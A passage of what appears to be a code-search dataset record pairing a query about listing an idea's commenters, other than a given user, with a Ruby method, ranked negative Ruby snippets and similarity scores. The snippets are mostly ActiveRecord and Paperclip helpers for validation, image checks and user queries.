confirm_attribs?\n\n #begin\n \n width, height = Dimensions.dimensions(tmpfile.path) \n return pixels == metadata_pixels ? true : false \n \n #rescue\n return nil \n #end\n \n return true\n \n end", "def dimensions_known?\n original_width? && original_height?\n end", "def image_processing?\n !image_tmp.blank?\n end", "def one_side_empty?\n return true if (@cups.take(5).all? {|cup| cup.empty? } ||\n @cups[7..12].all? {|cup| cup.empty? } )\n return false\n end", "def blank?\n attributes.values.all?(&:blank?)\n end", "def blank?\n attributes.values.all?(&:blank?)\n end", "def blank?\n attributes.values.all?(&:blank?)\n end", "def blank?\n attributes.values.all?(&:blank?)\n end", "def location_empty?( attr )\n attr[ 'uri' ].blank? &&\n attr[ 'file_name' ].blank? &&\n attr[ 'doc_code' ].blank? &&\n attr[ 'doc_version' ].blank?\n end", "def ok?\n !@image.nil? && !@mime_type.nil?\n end", "def has_shelby_avatar() !self.avatar_file_name.blank?; end", "def validate_avatar\n if self.avatar.queued_for_write[:original]\n # self.errors.add(:change_pass)\n dimensions = Paperclip::Geometry.from_file(self.avatar.queued_for_write[:original])\n self.errors.add(:avatar, \"should at least 320px\") if dimensions.width > 320\n end\n end", "def save_crop_values\n crop_values = [ crop_x, crop_y, crop_w, crop_h ]\n \n case crop_priority\n when 'primary'\n self.primary_cropping = crop_values\n when 'secondary'\n self.secondary_cropping = crop_values\n else\n errors.add :base, \"Cannot crop without setting a crop priority.\" and return false\n end\n end", "def valid?\n return false if @height.nil?\n return false if @id.nil?\n return false if @name.nil?\n return false if @width.nil?\n true\n end", "def empty?\n is_empty = false\n if self.bounds\n is_empty = ((self.bounds.top + self.bounds.left + self.bounds.bottom + self.bounds.right) == 0)\n end\n\n is_empty\n end", "def placed?\n x != nil && y != nil && orientation != nil\n end", "def empty?\n DIFF_ATTRIBUTES.all? { |attr|\n self.send(attr).empty?\n } && stacks.values.all? { |stk| stk.empty? }\n end", "def blank?\n attributes.values.all?(&:blank?)\n end", "def acceptable_size?\n \n return true if width > 50 and\n width < 100 and\n height > 50 and\n height < 100\n \n end", "def any_pix?\r\n pictures.detect { |x| x && !x.photo_file_name.nil? }\r\n end", "def has_images?\n @has_images ||= !@drawings.empty?\n end", "def any_pix?\n pictures.detect { |x| x && !x.photo_file_name.nil? }\n end", "def no_image_errors\n unless image.errors.empty?\n errors.add :image, \"Paperclip returned errors for file '#{image_file_name}' - check ImageMagick installation or image source file.\"\n false\n end\n end", "def blank?\n [:city, :zip, :address_1, :address_2].all? do |attr|\n self.send(attr).blank?\n end\n end", "def nils?\n [@passphrase, @plain, @encrypted].each do |attribute|\n return true if attribute.nil?\n end\n return false\n end", "def must_have_pictures\r\n if !any_pix? || pictures.all? {|pic| pic.marked_for_destruction? }\r\n errors.add(:base, 'Must have at least one picture')\r\n elsif pictures.size > MAX_PIXI_PIX.to_i\r\n errors.add(:base, \"Can only have #{MAX_PIXI_PIX} pictures\")\r\n else\r\n return true\r\n end\r\n false\r\n end", "def blank?(only_visible_tags = T.unsafe(nil)); end", "def incomplete_policyfile_options?\n policy_group, policy_name = @name_args[1..]\n (policy_group.nil? || policy_name.nil? || @name_args[1..-1].size > 2)\n end", "def has_image\n return self.food_images.size>0\n end", "def design_data_filled_in?\n !self.description.blank? && \n !self.platform.blank? && \n !self.product_type.blank? && \n !self.project.blank? &&\n !self.design_directory.blank? &&\n !self.incoming_directory.blank?\n end", "def blank?\n return true if @target.nil?\n @target.respond_to?(:empty?) ? @target.empty? : !@target\n end", "def has_images?\n images.length > 0 && hidden == false\n end", "def all_images_exist?\n return false if self.missing_images.size > 0\n return false if self.missing_reference_images.size > 0\n return true\n end", "def is_empty?(node)\n node.name != 'img' && node.name != 'br' &&\n (node.text? && node.text.strip.empty? || !node.text? && node.children.empty?)\n end", "def validate_portrait_dimensions\n dimensions = Paperclip::Geometry.from_file(portrait.to_file(:full))\n errors.add(:portrait, \"Image dimensions were #{dimensions.width.to_i}x#{dimensions.height.to_i}, they must be exactly #{portrait1_dimensions_string}\") unless dimensions.width == PORTRAIT1_WIDTH && dimensions.height == PORTRAIT1_HEIGHT\n end", "def empty?\n w == 0 || h == 0\n end", "def valid?\n return false if @layout_type.nil?\n return false if !@tags.nil? && @tags.length > 5\n return false if @title.nil?\n return false if @widgets.nil?\n true\n end", "def image_sweep?\n results = false\n all_contents = \"\"\n for attribute in self.image_containers\n contents = self.send(attribute)\n if !contents.blank?\n new_matches = contents.scan(/\\/stored_images\\/[\\w]*\\/[\\w. ]*/)\n results = true if new_matches.length > 0 \n all_contents += contents\n end\n end\n pwd = Dir.pwd\n image_dir = \"#{RAILS_ROOT}/public/assets/#{self.class.to_s.pluralize.underscore}/#{self.id}/contained_images\"\n FileUtils.mkdir_p(image_dir) unless File.directory?(image_dir)\n Dir.chdir image_dir\n files = Dir.glob(\"*\")\n for file in files\n FileUtils.rm(File.join(image_dir, file)) unless all_contents.include?(file)\n end\n Dir.chdir pwd\n return results\n end", "def avatar?\n !object.avatar_url.blank?\n end", "def preconditions_met?\n @images.all? do |image|\n txt_already_exists?(image)\n end\n end", "def dimensions_fine?\n\t temp_file = flyer.queued_for_write[:original]\n\t unless temp_file.nil?\n\t\tdimensions = Paperclip::Geometry.from_file(temp_file)\n\t\twidth = dimensions.width\n\t\theight = dimensions.height\n\t\t\n\t\tif width < 200 && height < 400\n\t\t errors.add(\"flyer\", \"dimensions are too small. Minimum width: 200px, minimum height: 400px\")\n\t\t puts \"flyer not valid\"\n\t\t false\n\t else\n\t\t true\n\t\tend\n\t end\n\t true\n\tend", "def check_if_can_be_set_to_visible_against_images\n return true if visibility_changed? && !visible\n if self.images.empty?\n errors.add(\"Can't update the product visibility because the product has no images\") \n false\n end\n end", "def valid?\n return false if @height.nil?\n return false if @height < 0\n return false if @width.nil?\n return false if @width < 0\n return false if @x.nil?\n return false if @x < 0\n return false if @y.nil?\n return false if @y < 0\n true\n end", "def empty?\n attributes.size == 0\n end", "def skip_blanks?() @skip_blanks end", "def cropping_mask\n return if crop_from.blank? || crop_size.blank?\n\n crop_from = point_from_string(read_attribute(:crop_from))\n crop_size = sizes_from_string(read_attribute(:crop_size))\n\n point_and_mask_to_points(crop_from, crop_size)\n end", "def attributes?\n attributes.length > 0\n end", "def has_image?\n !image.nil?\n end", "def crooked?\n sides.map(&:weight).any? do |weight|\n weight != sides.first.weight\n end\n end", "def validate_photo_dimensions\n dimensions = Paperclip::Geometry.from_file(photo.to_file(:original))\n errors.add(:photo, \"Image dimensions were #{dimensions.width.to_i}x#{dimensions.height.to_i}, they must be exactly #{self.photo_dimensions_string}\") unless dimensions.width >= PHOTO_WIDTH && dimensions.height >= PHOTO_HEIGHT\n end", "def valid_annotation?\n !(self.queued_for_deletion || self.study.queued_for_deletion || self.publishing)\n end", "def avatar_selected?\n return !avatar_id.nil?\n end", "def aperture?\n !aperture.nil?\n end", "def clips?(x, y)\n ::GD2::GD2FFI.send(:gdImageBoundsSafe, image_ptr, x.to_i, y.to_i).zero?\n end", "def valid?\n return false if @image.nil?\n return false if @image_id.nil?\n return false if @name.nil?\n return false if @ready.nil?\n return false if @restart_count.nil?\n return true\n end", "def image_is_too_small\n return false if CONFIG[\"min_mpixels\"].nil?\n return false if width.nil?\n return false if width * height >= CONFIG[\"min_mpixels\"]\n true\n end", "def valid_other_image_parameters?\n # check version of gif\n return Image.gif89a?(@file_temp_path) if @file_type == GIF_TYPE\n # check \"color system\" of \"jpeg, jpg\" file\n return Image.rgb_color_system?(@file_temp_path) if @file_type == JPEG_TYPE\n # always return true with \"png\" file\n true if @file_type == PNG_TYPE\n end", "def valid_other_image_parameters?\n # check version of gif\n return Image.gif89a?(@file_temp_path) if @file_type == GIF_TYPE\n # check \"color system\" of \"jpeg, jpg\" file\n return Image.rgb_color_system?(@file_temp_path) if @file_type == JPEG_TYPE\n # always return true with \"png\" file\n true if @file_type == PNG_TYPE\n end", "def check_dimensions(image)\n if image.height < $max_height and image.width < $max_width\n return true\n else\n return false\n end\nend", "def validate_attrs\n @target.present? && !@target.errors.any? && @actor.present? && @action_key.present?\n end", "def correct_tag_values?\n validate_tags(info.our_tags)\n validate_album_disc(info.album, file.dirname.basename.to_s)\n end", "def valid_drawing_size?\n if drawing.length != 15 || drawing.any? {|b| b.length != 31 }\n errors.add(:base, \"drawing dimensions are incorrect\")\n return false\n end\n end", "def is_qualified?\n if self.photo.present? and self.skill_ids.count > 0\n return true\n else\n return false\n end\n end", "def valid_other_image_parameters?\n # check version of gif\n return Image.gif89a?(@file_temp_path) if @file_type == GIF_TYPE\n # check \"color system\" of \"jpeg, jpg\" file\n return Image.rgb_color_system?(@file_temp_path) if @file_type == JPG_TYPE\n # always return true with \"png\" file\n true if @file_type == PNG_TYPE\n end", "def perform_cropping?\n\t\t\tname = attachment.name\n\t\t\tinstance = attachment.instance\n\t\t\treturn instance.send(\"#{name.to_s}_perform_cropping?\".to_sym)\n\t\tend", "def contains_images?\n !@url.nil?\n end", "def check_file_size\n valid?\n errors[:image_file_size].blank?\n end", "def valid?\n return false if @id.nil?\n return false if !@popularity.nil? && @popularity > 5\n return false if !@tags.nil? && @tags.length > 5\n return false if @type.nil?\n true\n end", "def valid?\n return false if @font_size.nil?\n return false if @bold.nil?\n return false if @italic.nil?\n return false if @width.nil?\n return false if @height.nil?\n return false if @top.nil?\n return false if @left.nil?\n return false if @rotation_angle.nil?\n return false if @transparency.nil?\n return false if @background.nil?\n return false if @auto_align.nil?\n return true\n end", "def blank?\r\n nil? || (respond_to?(:empty?) && empty?)\r\n end", "def cover?(options={})\n !options[:amazon] && cover_img\n end", "def small_photo?\n if photo? \n geomery = Paperclip::Geometry.from_file(photo.url)\n return geomery.width < 300 || geomery.height < 300\n end\n rescue Paperclip::NotIdentifiedByImageMagickError\n false\n end", "def blank?\n self.nil? || self.empty?\n end", "def no_nil_attributes\n GroupEvent.attribute_names.without(\"deleted\").each do |a|\n if self.send(a).blank?\n errors.add(:base, \"All fields are required to publish an event\")\n return false\n end\n end\n return true\n end", "def image_url_provided?\n !self.image_url.blank?\n end", "def validate_banner_dimensions\n dimensions = Paperclip::Geometry.from_file(banner.to_file(:original))\n errors.add(:banner, \"Image dimensions were #{dimensions.width.to_i}x#{dimensions.height.to_i}, they must be exactly #{banner_dimensions_string}\") unless dimensions.width == BANNER_WIDTH && dimensions.height == BANNER_HEIGHT\n end" ]
[ "0.7850561", "0.78491974", "0.7827817", "0.78227377", "0.7554697", "0.7177846", "0.7177846", "0.7055822", "0.7055822", "0.661373", "0.65339977", "0.6031039", "0.60239226", "0.57624936", "0.57347405", "0.5723163", "0.56123716", "0.5569526", "0.55680317", "0.55669785", "0.5557086", "0.55440354", "0.55209213", "0.5497493", "0.547151", "0.547054", "0.54666084", "0.54666084", "0.54666084", "0.54666084", "0.54413027", "0.5402004", "0.53985566", "0.53982604", "0.53925246", "0.53907233", "0.53905267", "0.5389937", "0.53882945", "0.53436935", "0.53391355", "0.53312254", "0.5326193", "0.53144157", "0.5279868", "0.52730167", "0.5268189", "0.5255286", "0.52442986", "0.5228998", "0.5211186", "0.5206383", "0.5197184", "0.5152798", "0.51510924", "0.51495194", "0.5147785", "0.5136328", "0.513288", "0.5129175", "0.51260424", "0.5125021", "0.51249886", "0.5124285", "0.51208186", "0.5117015", "0.5116979", "0.5114765", "0.51106954", "0.51004946", "0.50971305", "0.5091691", "0.5090275", "0.5084743", "0.5082643", "0.50796044", "0.50702477", "0.5063472", "0.5062749", "0.5062749", "0.5062392", "0.5060634", "0.50572926", "0.5055307", "0.5051089", "0.50484914", "0.50463843", "0.5044767", "0.50417024", "0.50416833", "0.50383854", "0.5037023", "0.5032315", "0.5029807", "0.502669", "0.50264347", "0.5009709", "0.4998059" ]
0.7808787
6
returns an array of all the users who have commented on an idea except for the passed user NOTE: this only works on a single user for now. This doesn't work if passed multiple users
def all_commenters_except(user) commenters = self.all_commenters commenters.delete_if { |commenter| commenter == user } end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def watch_comment_by_user_ids\n self.watch_comment_by_user_actions.where(\"action_option is null or action_option != ?\", \"ignore\").pluck(:user_id)\n end", "def watch_comment_by_user_ids\n user_ids = watch_comment_by_user_actions.where(\"action_option is null or action_option != ?\", \"ignore\").pluck(:user_id)\n user_ids += repository.watch_by_user_ids\n user_ids.uniq!\n\n user_ids - unwatch_comment_by_user_ids\n end", "def comments_given(user_id)\n comments = Comment.where(user_id: user_id)\n end", "def user_want_notified_new_comment user_eject\n EntrMissionUser\n .includes(:user)\n .where(\"entr_mission_users.mission_id = ? AND users.mail_comments = ? AND users.id != ?\", \n self.id, \n true, \n user_eject.id)\n .collect { |l| l.user }\n end", "def comments(user)\n self.design_review_comments.to_ary.find_all { |comment| comment.user == user }\n end", "def commenters\n # User.joins(:comments).where(comments: {discussion_id: id}).uniq\n User.where(id: comments.pluck(:author_id))\n end", "def user_want_notified_new_comment_advanced user_eject\n EntrMissionUser\n .includes(:user)\n .where(\"entr_mission_users.mission_id = ? AND users.mail_comments = ? AND users.id != ? AND entr_mission_users.state = ?\", \n self.id, \n true, \n user_eject.id, \n EntrMissionUser::Status::CONFIRMED)\n .collect { |l| l.user }\n end", "def already_commented_by_user?(the_user)\n !self.comments.where([\"user_id = ?\", the_user.id]).empty?\n end", "def commenters # the user who commented on you\n self.comments.map do |comment|\n comment.user\n end\n end", "def commenters\n comments = Comment.find_by_sql(\"select distinct user_id from comments \"\\\n \"where commentable_type='Package' \"\\\n \"and commentable_id=#{id}\")\n # return the commenters\n comments.map {|comment| User.find(comment.user_id)}\n end", "def commentsBy\n c = comments.where(:user_id => self.id).all\n if c\n c\n end\n end", "def participants\n User.find([self.thought.user_id,*thought.comments.map(&:user_id)].compact-[self.user_id])\n end", "def commented_by(name)\n get_data(\"user/#{name}/commented\")\n end", "def comments\n # event_ids = events(@user).pluck(:id)\n # Comment.where(commentable_type: \"Event\", commentable_id: event_ids, program_favorite: true)\n # events(@user).unscope(:order).order(start_date_time: :asc).each { |event| event.map { |event| event.favorite_comments.first } }\n events(@user).map { |e| e.comments.select { |c| c.event_favorite == true }.first(2) }.flatten\n end", "def involved_people\n # [self.user, self.answerers, self.commenters].flatten.uniq\n [self.user].flatten.uniq\n end", "def owner_as_well_as_all_mentioned_users_and_artists_except(user_or_artist_id, user = true)\n participating_users_and_artists = []\n if user && !self.user_id.blank? && user_or_artist_id != self.user_id \n participating_users_and_artists << self.user.mention_name\n elsif !user && !self.artist_id.blank? && !user_or_artist_id == self.artist_id \n participating_users_and_artists << self.artist.mention_name\n elsif !user && !self.user.nil?\n participating_users_and_artists << self.user.mention_name\n elsif user && !self.artist.nil?\n participating_users_and_artists << self.artist.mention_name\n end\n \n self.mentioned_posts.each do |mentioned_post|\n if !mentioned_post.user_id.blank?\n if user\n if !mentioned_post.user.nil? && mentioned_post.user_id != user_or_artist_id\n participating_users_and_artists << mentioned_post.user.mention_name\n end\n else\n participating_users_and_artists << mentioned_post.artist.mention_name unless mentioned_post.artist.nil?\n end\n elsif !mentioned_post.artist_id.blank?\n if !user\n if !mentioned_post.artist.nil? && mentioned_post.artist_id != user_or_artist_id\n participating_users_and_artists << mentioned_post.artist.mention_name\n end\n else\n participating_users_and_artists << mentioned_post.user.mention_name unless mentioned_post.user.nil?\n end\n end\n end\n return participating_users_and_artists \n end", "def liked_by\n\t\tcomment = Comment.includes(:liked_by).find_by(id: params[:id])\n\t\t@users = comment.has_been_liked_by\t\t\t\t\t\t\t\t\t\n\tend", "def comments\n object.comments.where(:user_id => current_user)\n end", "def engaged_users\n self.users.select { |u| u.ideas.count > 0 || u.comments.count > 0 || u.votes.count > 0 || u.support_messages.count > 0 }\n end", "def users_comments(post_id)\n @comments = []\n comments = Post.find(post_id).comments\n for comment in comments\n if (is_admin? || comment.commentable.user == current_user)\n @comments << comment\n end\n end\n @comments\n end", "def users_who_completed_all_studies\n @downloaded_studies = Study.find(self.study_ids)\n\n user_arr = []\n @downloaded_studies.each do |study|\n user_arr.push(study.study_completions.pluck(:user_id).uniq)\n end\n\n ## SELECT THE COMMON VALUES OF ALL INTERIOR ARRAYS\n user_ids_and_nil = user_arr.reduce { |a, b| a & b }\n\n\n ## THIS COMMAND GETS RID OF ALL LOGGED OUT USER SURVEY DATA -- could be interesting to see if its use can dry up code\n user_ids_who_completed_all_studies = user_ids_and_nil.grep(Integer)\n\n user_ids_who_completed_all_studies\n end", "def get_unviewed_ids(user); end", "def recommend\n recs = []\n User.all.each do |user|\n if user.hotspots.include?(self)\n user.hotspots.each do |hs|\n recs << hs\n end#user.hotspots end\n end#if include? end\n return recs.uniq\n end#users.each end\n end", "def antiuser(user)\n users.where(['users.id <> ?', user.id]).first\n end", "def find_comments_by_user(user)\n Comment.where(commentator_id: user.id, commentable_type: self.class.name)\n .order('created_at DESC')\n end", "def answer_recommended_users(excluded_users = [], content = '', qty = 10)\n excluded_users = excluded_users.presence || []\n _tags = HashTag.where(\"? LIKE '% '||replace(hash_tags.name, '#', '')||' %'\", \" #{content} \").pluck(:id)\n res = Content.joins(:hash_tags)\n .where({contents_hash_tags:{hash_tag_id: _tags}})\n .where.not({contents:{user_id: excluded_users}})\n .select(\"contents.user_id, count(contents.id) as qty_contents\")\n .group('contents.user_id')\n .order('qty_contents desc')\n .limit(qty)\n .to_a.map{|c| User.exclude_blocked_users(self).select(\"*, (#{c.qty_contents}) as qty_comments\").find(c.user_id) }\n res = User.exclude_blocked_users(self).where.not(id: excluded_users + [self.id]).group('users.id').joins(:comments).select('users.*, count(comments.id) as qty_comments').order('qty_comments DESC').limit(qty) unless res.present?\n res\n end", "def received_comments\n my_comments = []\n self.pictures.each do |picture|\n picture.comments.each do |comment|\n if comment.user_id != self.id\n my_comments.push(comment)\n end\n end\n end\n my_comments\n end", "def follow_suggest\n User.all_but(self).map { |usr| usr unless following?(usr) }.compact\n end", "def unreviewed_comments\n comments.select {|comment| comment.approved.nil? }\n end", "def rejected_comments\n comments.select {|comment| comment.approved == false }\n end", "def feedback(user_id_param)\n if user_id == user_id_param\n Comment.find(:all, :order => \"created_at DESC\", :conditions => [\"commentable_id = ? AND commentable_type = ? AND comment_type = ?\", id, 'Screen', 5])\n else\n Comment.find(:all, :order => \"created_at DESC\", :conditions => [\"commentable_id = ? AND commentable_type = ? AND comment_type = ? AND user_id = ?\", id, 'Screen', 5, user_id_param])\n end\n end", "def userless_people\n people.select{|p| p.user.nil?}\n end", "def get_replies_only\n self.comments.includes(:user).where.not(parent_comment_id: nil)\n end", "def notifiable_users(only_self: false, origin_notifiable_resolver: nil)\n n_users_ids = []\n\n # Owner of the post\n if self.user\n n_users_ids << self.user.id\n\n # all users from the same page\n # if post was just created\n if self.id_changed? and self.user.page and only_self\n n_users_ids += self.user.page.users.collect(&:id)\n end\n end\n\n if a = self.activity\n unless only_self\n # And user who commented the post\n if comments = a.comments and comments.count > 0\n comments_notifiable_users_ids = comments.map do |c|\n if c != origin_notifiable_resolver\n c.notifiable_users(only_self: true, origin_notifiable_resolver: self).collect(&:id)\n else\n nil\n end\n end\n n_users_ids << comments_notifiable_users_ids.flatten.compact.uniq\n end\n end\n end\n\n User.where('users.id IN (?)', n_users_ids.flatten.compact.uniq)\n end", "def goodcomments\n User.isliked(self)\n end", "def retrieve_others_interests(selected_user)\n Interest.where('interests.user_id <> ?',selected_user)\n end", "def comments\n comments = []\n posts = Post.all\n posts.each { |p| comments += p.comments.where(user_id: self.id) }\n return comments\n end", "def get_comments_only\n self.comments.includes(:comments, :user).where(parent_comment_id: nil)\n end", "def user_defeats(user)\n # TODO: (?) add explicit \"never show this again\" option?\n recent_views = user.clicks\n .where('updated_at > ?', 7.days.ago)\n .group(:notebook_id)\n .pluck(:notebook_id)\n owned = user.notebooks.pluck(:id)\n created = user.notebooks_created.pluck(:id)\n updated = user.notebooks_updated.pluck(:id)\n stars = user.stars.pluck(:notebook_id)\n Set.new(recent_views + owned + created + updated + stars)\n end", "def notify_users\n ([requested_by, owned_by] + notes.map(&:user)).compact.uniq\n end", "def contributors(excluding: nil)\n [author, editor].uniq.compact.reject do |user|\n user == excluding\n end\n end", "def user_reviews\n Review.all.select {|review| review.user == self}\n end", "def ignored?(user)\n @ignored_ids.include?(user.resolve_id)\n end", "def ignored?(user)\n @ignored_ids.include?(user.resolve_id)\n end", "def get_non_friends\n\n userFriends = self.all_friends\n userNotFriends = User.all_except(userFriends)\n\n #user is not friend of himself, next line break do this\n userNotFriends = userNotFriends.all_except(self)\n\n return userNotFriends\n end", "def user_comments\n comments = Comment.where(:commentable_id => self.id, :commentable_type => \"Conversation\")\n str = \"\"\n comments.each do |comment|\n user_name = Invitee.where(:id => comment.user_id).first.name_of_the_invitee rescue nil\n desc = comment.description if user_name.present?\n str += \"#{user_name} => #{desc}\" + ' ~ ' \n end\n str\n end", "def pending_followers\n partners = [].concat(current_user.followers, current_user.followed_users).map(&:id)\n User.all.reject { |user| current_user.id == user.id || user.id.in?(partners) }\nend", "def ignore_user(user)\n @ignored_ids << user.resolve_id\n end", "def ignore_user(user)\n @ignored_ids << user.resolve_id\n end", "def receives_emails_for\n recips = user.things_i_track.email_delivery.tracked_item_is_user.map(&:tracked_item_id)\n recips = User.find(:all, :conditions => {:id => recips}) unless recips.blank?\n return recips.uniq.select {|u| user.is_self_or_owner?(u)}\n end", "def visible_users\n User.where.not(type: :AutotestUser)\n end", "def commented_user_name\n \"\"\n # comment_by = self.comments.pluck(:user_id)\n # name_of_the_invitee = Invitee.find_by_id(comment_by).name_of_the_invitee\n # return name_of_the_invitee\n # binding.pry\n end", "def return_by(user)\n borrowed_by.map {|user_in_arr|\n if user_in_arr == user\n borrowed_by.delete(user)\n end\n }\n end", "def watches_unique_by_user\n (watches +\n (cis + cis.map(&:ancestors).flatten)\n .map(&:watches)\n .flatten)\n .uniq(&:user)\n end", "def friendable_users\n User.all.where.not('id IN (?)', [id] + friends.ids +\n friend_requests_sent.pending.pluck(:receiver_id) + friend_requests_received.pending.pluck(:sender_id))\n end", "def stakeholders\n self.stakeholder_ids.collect{|user_id| User.find(user_id)}\n end", "def suggested_users(page = 1, per_page = 15)\n calc_suggested_following\n my_suggested_following_users.where.not(id: rejected_follow_suggestions.pluck(:user_id)).page(page).per(per_page)\n end", "def find_with_only_user(user)\n uid = user.is_a?(::Starbot::Contact) ? user.id : user\n rooms.values.select{|r| r.users.count == 2 && r.users.map{|u| u.id }.include?(uid) }\n end", "def user_candidates_for_reminder\n states = ['submitted', 'under_review', 'reviewed', 'scheduled', 'received',\n 'receiving', 'inactive'] # NOT draft, closed or cancelled\n user_ids = Offer.where(state: states).distinct.pluck(:created_by_id)\n User.joins(subscriptions: [:message]).\n where('users.id IN (?)', user_ids).\n where(\"COALESCE(users.sms_reminder_sent_at, users.created_at) < (?)\", delta.iso8601).\n where('subscriptions.state': 'unread').\n where(\"messages.created_at > COALESCE(users.sms_reminder_sent_at, users.created_at)\").\n where('messages.sender_id != users.id').\n distinct\n end", "def commentable_user\n current_user\n end", "def comments_mentioning_user(other_user_id, options={})\n self.class.parse_comments(request(singular(user_id) + \"/comments/#{other_user_id}\", options))\n end", "def previous_commenters\n dream.comments.collect(&:dreamer).uniq.reject { |d| d == dreamer }\n end", "def reviews\n Review.all.select do |r|\n r.user == self\n end\n end", "def get_user_comments(user_id,start,count)\n numitems = $r.zcard(\"user.comments:#{user_id}\").to_i\n ids = $r.zrevrange(\"user.comments:#{user_id}\",start,start+(count-1))\n comments = []\n ids.each{|id|\n news_id,comment_id = id.split('-')\n comment = Comments.fetch(news_id,comment_id)\n comments << comment if comment\n }\n [comments,numitems]\n end", "def liked_by\n User.where(:id => liked_by_ids)\n end", "def find_comments_by_user(user) \n # TODO - does this really work with STI ?\n commentable = ActiveRecord::Base.send(:class_name_of_active_record_descendant, self).to_s\n first_item = Comment.roots({:user_id => user.id, :commentable_type => commentable}).find(:all, :order => \"#{Comment.right_column_name} DESC\")\n return [] if first_item.blank?\n all_children(first_item, &block)\n end", "def users_sharing_the_same_interest\n self.user_interest_preferences.map(&:user_id)\n end", "def get_visible_assistants(viewer_user)\n user_list = if viewer_user.eql?(creator)\n users.select(:id, :name)\n elsif (viewer_user.public_or_following_creator?(self))\n # TODO: ORDER THIS\n users.select(:id, :name, :is_private).collect { |user| \n user if (user.is_public? || viewer_user.following?(user))\n }.compact\n end\n\n return user_list\n end", "def liked_users \n users = object.liked_users.collect do |liked_user|\n # user = User.find_by(id: liked_user.liked_user_id)\n # user.attributes.except!(\"created_at\", :updated_at, :email)\n user = User.select(:id, :name, :gender, :age, :bio).find_by(id: liked_user.liked_user_id)\n end\n end", "def blocked_user_ids\n Rails.cache.fetch(\"blocked_user_ids_#{id}\", expires_in: 1.month.from_now) do\n blocked_users_relationships.pluck(:user_id)\n end\n end", "def watch_comment_status_by_user_id(user_id)\n action = watch_comment_by_user_actions.where(\"user_type = 'User' and user_id = ?\", user_id).take\n return action.action_option == \"ignore\" ? \"ignore\" : \"watch\" if action\n\n repo_action = repository.watch_by_user_actions.where(\"user_type = 'User' and user_id = ?\", user_id).take\n return \"watch\" if repo_action\n \"unwatch\"\n end", "def get_tradelines_except(user_id)\n filtered_tradelines = []\n\n trade_lines.each do |x|\n if x.inventory_own.user_id != user_id\n filtered_tradelines << x\n end\n end\n return filtered_tradelines \n end", "def followings_who_reposted(user)\n following_ids = \"SELECT followed_id FROM relationships\n WHERE follower_id = :user_id\"\n repost_ids = \"SELECT user_id FROM reposts\n WHERE micropost_id = :micropost_id\"\n User.where(\"id IN (#{following_ids})\n AND id IN (#{repost_ids})\", user_id: user.id, micropost_id: id)\n end", "def motivatedByCommenting\n q = [nil, OA.motivatedBy, OA.commenting]\n @graph.query(q).collect {|s| s.subject }\n end", "def liked_comments_count\n # Creating comments\n comment_ids = \"SELECT id FROM comments WHERE user_id = :user_id\"\n # Except for self like\n CommentLike.where(\"comment_id IN (#{comment_ids}) AND user_id <> :user_id\", user_id: id).count\n end", "def _get_current_expected(orders, comments)\n\n orders.each do |user_hash|\n\n users = user_hash.keys\n\n if users.nil? or users.empty?\n\n next\n\n else\n\n self.item.comments.each do |comment|\n next unless comment.xtype == Comment::XTYPE_ACK\n users.delete comment.user_id\n end\n\n if users.empty?\n next\n else\n return users\n end\n\n end\n end\n\n # Accepted\n return []\n end", "def notes_to_self(user_id)\n Comment.find(:all, :order => \"created_at DESC\", :conditions => [\"commentable_id = ? AND commentable_type = ? AND comment_type = ? AND user_id = ?\", id, 'Screen', 6, user_id])\n end", "def people_involved(notification)\n people = User.joins(:comments)\n .joins('INNER JOIN patches ON patches.id = comments.patch_id')\n .joins('INNER JOIN merge_requests ON merge_requests.id = patches.merge_request_id')\n .where(notification => true)\n .where('merge_requests.id = ?', id).uniq\n people << reviewer if reviewer\n (people << author).uniq\n end", "def listeners\n users_to_notify = Set.new\n users_to_notify += self.proposal.currently_awaiting_approvers\n users_to_notify += self.proposal.individual_steps.approved.map(&:user)\n users_to_notify += self.proposal.observers\n users_to_notify << self.proposal.requester\n # Creator of comment doesn't need to be notified\n users_to_notify.delete(self.user)\n users_to_notify\n end", "def participants\n User.joins(:invitations)\n .where('invitations.event_id' => self.id)\n .includes(:possible_dates)\n .joins(\"LEFT OUTER JOIN possible_dates\n ON possible_dates.user_id = users.id\n AND possible_dates.event_id = #{ActiveRecord::Base.sanitize(self.id)}\"\n )\n .uniq\n end", "def user_comment?(user_id)\n @current_user.id == user_id\n end", "def eligible_owners\n User.where('users.id != ?', @cookbook.user_id)\n end", "def reviews\n # output = []\n # Review.all.each do |review|\n # if review.user == self\n # output << review\n # end\n # end\n # output\n Review.all.select { |review| review.user == self }\n end", "def find_comments_by_user(user)\n commentable = self.base_class.name.to_s\n Comment.where(:user_id => user.id, :commentable_type => commentable).order('created_at DESC')\n end", "def users_not_on_project\n User.find(:all) - self.users\n end", "def involved_people\n involved_people_ids.collect{|user_id| User.find(user_id)}\n end", "def feed_comments\n # Following users\n following_user_ids = \"SELECT followed_id FROM relationships\n WHERE follower_id = :user_id\"\n # Following Tags\n following_tag_ids = \"SELECT tag_id FROM tag_follows\n WHERE user_id = :user_id\"\n # Following tag's items\n following_tag_item_ids = \"SELECT taggable_id FROM taggings WHERE taggable_type = 'Item' AND tag_id IN (#{following_tag_ids})\"\n # Create or Update items\n create_update_item_ids = \"SELECT id FROM items WHERE create_user_id = :user_id OR update_user_id = :user_id\"\n # Stocking items\n stocking_item_ids = \"SELECT item_id FROM item_stocks WHERE user_id = :user_id\"\n # Liking comments\n liking_comment_ids = \"SELECT comment_id FROM comment_likes WHERE user_id = :user_id\"\n # Liking comment's items\n liking_comment_item_ids = \"SELECT item_id FROM comments WHERE id IN (#{liking_comment_ids})\"\n # Commenting items\n comment_item_ids = \"SELECT item_id FROM comments WHERE user_id = :user_id\"\n\n Comment.includes([:user, :item]).where(\"user_id IN (#{following_user_ids})\n OR user_id = :user_id\n OR item_id IN (#{create_update_item_ids})\n OR item_id IN (#{stocking_item_ids})\n OR item_id IN (#{following_tag_item_ids})\n OR item_id IN (#{liking_comment_item_ids})\n OR item_id IN (#{comment_item_ids})\", user_id: id).limit(13)\n end", "def eligible_collaborators\n ineligible_users = [@cookbook.collaborators, @cookbook.owner].flatten\n User.where('users.id NOT IN (?)', ineligible_users)\n end", "def unanswered_questions\n Question.all.reject do |question|\n responsers_id = question.responses.pluck(:user_id)\n responsers_id.include?(self.id)\n end\n end", "def users_for_new_issue_watchers(issue)\n users = issue.watcher_users.select{|u| u.status == User::STATUS_ACTIVE}\n project = issue.project\n scope_users = project.users\n scope_groups = project.principals.merge(Group.givable)\n if scope_users.count + scope_groups.count <= 20\n users = (users + scope_users.sort + scope_groups.sort).uniq\n end\n 